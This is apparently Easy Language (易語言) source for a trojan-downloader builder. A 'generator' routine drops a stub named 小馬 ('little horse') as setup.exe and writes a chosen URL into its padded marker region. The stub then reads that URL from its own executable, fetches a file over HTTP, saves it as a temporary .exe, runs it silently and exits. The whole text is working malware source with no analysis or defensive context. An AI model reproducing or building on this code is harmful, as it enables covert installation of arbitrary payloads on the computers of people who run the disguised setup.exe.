——————————————生成器———————————————— .版本2 .子程式_按鈕1_被單擊 .區域性變數檔案號,整數型 .區域性變數pos,整數型 .區域性變數資料,位元組集 .區域性變數文字,文字型 寫到檔案(“setup.exe”,到位元組集(#小馬)) .如果(編輯框1.內容≠“”) .如果(檔案是否存在(“setup.exe”)) 資料＝讀入檔案(“setup.exe”) pos＝尋找位元組集(資料,到位元組集(“@#$@#$”)) .如果真(pos＝-1) 返回() .如果真結束 檔案號＝開啟檔案(“setup.exe”,#寫出,#禁止讀寫) 移動讀寫位置(檔案號,#檔案首,pos＋5) 文字＝到文字(取文字長度(編輯框1.內容)) 文字＝文字＋“|||”＋編輯框1.內容 寫出位元組集(檔案號,到位元組集(文字)) 關閉檔案(檔案號) 資訊框(“寫入資料成功！”,0,) .否則 資訊框(“未找到檔案setup.exe！”,0,) .如果結束 .否則 資訊框(“編輯框的內容不能為空！”,0,) .如果結束 _____________________________#小馬___________________________________ .版本2 .支援庫internet .支援庫shell .子程式__啟動視窗_建立完畢 .區域性變數檔案內容,位元組集 .區域性變數臨時檔名,文字型 .區域性變數地址,文字型 .區域性變數s,文字型 .區域性變數臨時文字陣列,文字型,,"0" .區域性變數資料,位元組集 .區域性變數pos,整數型 .區域性變數長度,整數型 .區域性變數檔案號,整數型 .區域性變數文字,文字型 s＝“@#$@#$隨便填充資料佔軟體空間隨便填充資料佔軟體空間隨便填充資料佔軟體空間隨便填充資料佔軟體空間隨便填充資料佔軟體空間隨便填充資料佔軟體空間隨便填充資料佔軟體空間” 資料＝讀入檔案(取執行檔名()) pos＝尋找位元組集(資料,到位元組集(“@#$@#$”),) .如果真(pos≠-1) 檔案號＝開啟檔案(取執行檔名(),#讀入,) 移動讀寫位置(檔案號,#檔案首,pos＋5) 文字＝讀入文字(檔案號,取文字長度(s)－5) 關閉檔案(檔案號) 臨時文字陣列＝分割文字(文字,“|||”,) 長度＝到數值(臨時文字陣列[1]) 文字＝取文字左邊(臨時文字陣列[2],長度) 地址＝文字 .如果真結束 檔案內容＝HTTP讀檔案(地址) 臨時檔名＝取臨時檔名()＋“.exe” 寫到檔案(臨時檔名,檔案內容) 執行(,臨時檔名,,) 銷燬()